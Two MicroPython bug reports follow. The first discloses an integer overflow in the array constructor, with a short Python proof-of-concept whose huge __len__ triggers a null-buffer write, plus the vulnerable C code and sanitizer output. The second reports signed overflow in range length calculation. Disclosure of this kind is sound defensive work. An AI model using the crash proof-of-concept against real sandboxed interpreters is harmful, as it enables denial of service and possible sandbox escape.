Integer overflow in `array` constructor via `len*itemsize` multiplication
Port, board and/or hardware
unix port
MicroPython version
MicroPython v1.27.0-preview.45.g1588c455c.dirty on 2025-11-23; linux [GCC 13.3.0] version
Issue Report
array_construct trusts a user __len__ when preallocating storage and multiplies the length by the typecode size without overflow checks. With a huge __len__, the multiplication wraps to zero so array_new allocates a NULL/too-small buffer but still records the large logical length. The ensuing array_extend_impl fills elements via mp_binary_set_val_array, which dereferences the NULL buffer and crashes.
Proof of Concept:
from array import array
class Boom:
def __len__(self):
return 1 << 61 # overflows typecode_size * len in array_new
def __iter__(self):
for _ in range(4):
yield 1.23
array("d", Boom())
What does this issue allow an attacker to do?
This vulnerability allows an attacker to trigger a buffer overflow, potentially leading to memory corruption, crashes, or arbitrary code execution.
How does the attacker exploit this issue?
The attacker can exploit this by executing the malicious code shown in the PoC above. This could be used to escape Python sandboxes or break out of restricted execution environments.
<details>
<summary><strong>Vulnerable Code Location</strong></summary>
static mp_obj_t array_construct(char typecode, mp_obj_t initializer) {
...
mp_obj_t len_in = mp_obj_len_maybe(initializer); // calls user __len__ (returns 1<<61 in PoC)
if (len_in == MP_OBJ_NULL) {
len = 0;
} else {
len = MP_OBJ_SMALL_INT_VALUE(len_in);
}
mp_obj_array_t *array = array_new(typecode, len); // overflowed len feeds allocation and logical length
array_extend_impl(array, initializer, typecode, len);
return MP_OBJ_FROM_PTR(array);
}
static mp_obj_array_t *array_new(char typecode, size_t n) {
int typecode_size = mp_binary_get_size('@', typecode, NULL);
...
o->len = n;
o->items = m_new(byte, typecode_size * o->len); // size_t multiplication can wrap to 0, yielding NULL/undersized buffer
return o;
}
void mp_binary_set_val_array(char typecode, void *p, size_t index, mp_obj_t val_in) {
switch (typecode) {
case 'd':
((double *)p)[index] = mp_obj_get_float_to_d(val_in); // dereferences the NULL/undersized buffer and crashes
break;
...
}
}
</details>
<details>
<summary><strong>Sanitizer Output</strong></summary>
AddressSanitizer:DEADLYSIGNAL
=================================================================
==529734==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x60f18d65db3c bp 0x7090fb881b80 sp 0x7ffe640c10e0 T0)
==529734==The signal is caused by a WRITE memory access.
==529734==Hint: address points to the zero page.
#0 0x60f18d65db3c in mp_binary_set_val_array ../../py/binary.c:482
#1 0x60f18d61d3f6 in array_extend_impl ../../py/objarray.c:124
#2 0x60f18d61eb4a in array_construct ../../py/objarray.c:158
#3 0x60f18d61eedc in array_make_new ../../py/objarray.c:176
#4 0x60f18d651c2b in type_call ../../py/objtype.c:1060
#5 0x60f18d60a5e9 in mp_call_function_n_kw ../../py/runtime.c:727
#6 0x60f18d66e9a8 in mp_execute_bytecode ../../py/vm.c:984
#7 0x60f18d62c1d4 in fun_bc_call ../../py/objfun.c:295
#8 0x60f18d60a5e9 in mp_call_function_n_kw ../../py/runtime.c:727
#9 0x60f18d60e9c6 in mp_call_function_0 ../../py/runtime.c:701
#10 0x60f18d809fdc in execute_from_lexer /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:162
#11 0x60f18d80a0f2 in do_file /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:311
#12 0x60f18d80ba15 in main_ /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:728
#13 0x60f18d80c06a in main /home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/main.c:494
#14 0x7090fb62a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#15 0x7090fb62a28a in __libc_start_main_impl ../csu/libc-start.c:360
#16 0x60f18d5ad784 in _start (/home/jackfromeast/Desktop/entropy/targets/micropython/micropython/ports/unix/build-coverage/micropython+0x21e784) (BuildId: ef44fcbd48195c8242bc6ba3e1fc292f19527c57)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../py/binary.c:482 in mp_binary_set_val_array
==529734==ABORTING
</details>
Code of Conduct
- Yes, I agree
Integer overflow with large ranges
Port, board and/or hardware
unix port, ci unix_sanitize_undefined_build
MicroPython version
MicroPython v1.27.0-preview.208.gadf6319884 on 2025-09-26; linux [GCC 14.2.0] version
Reproduction
Run the following snippet: import sys; print(range(sys.maxsize)[0])
Expected behaviour
No UBsan diagnostics; the number 0 is printed
Observed behaviour
The following diagnostics are produced:
../../py/objrange.c:115:14: runtime error: signed integer overflow: 9223372036854775807 + 1 cannot be represented in type 'long int'
../../py/objrange.c:117:13: runtime error: signed integer overflow: -9223372036854775808 - 1 cannot be represented in type 'long int'
Additional Information
This is related to the cpydiff documented at https://docs.micropython.org/en/latest/genrst/builtin_types.html#range
There are other misbehaving combinations. For instance, here's one with a step that erroneously produces an empty range:
print(range(0, sys.maxsize, sys.maxsize//2)[-1])
but they all seem to stem from signed integer overflows on those two lines (plus line 119 for negative steps)
113 static mp_int_t range_len(mp_obj_range_t *self) {
114 // When computing length, need to take into account step!=1 and step
<0.
115 mp_int_t len = self->stop - self->start + self->step;
116 if (self->step > 0) {
117 len -= 1;
118 } else {
119 len += 1;
120 }
Code of Conduct
Yes, I agree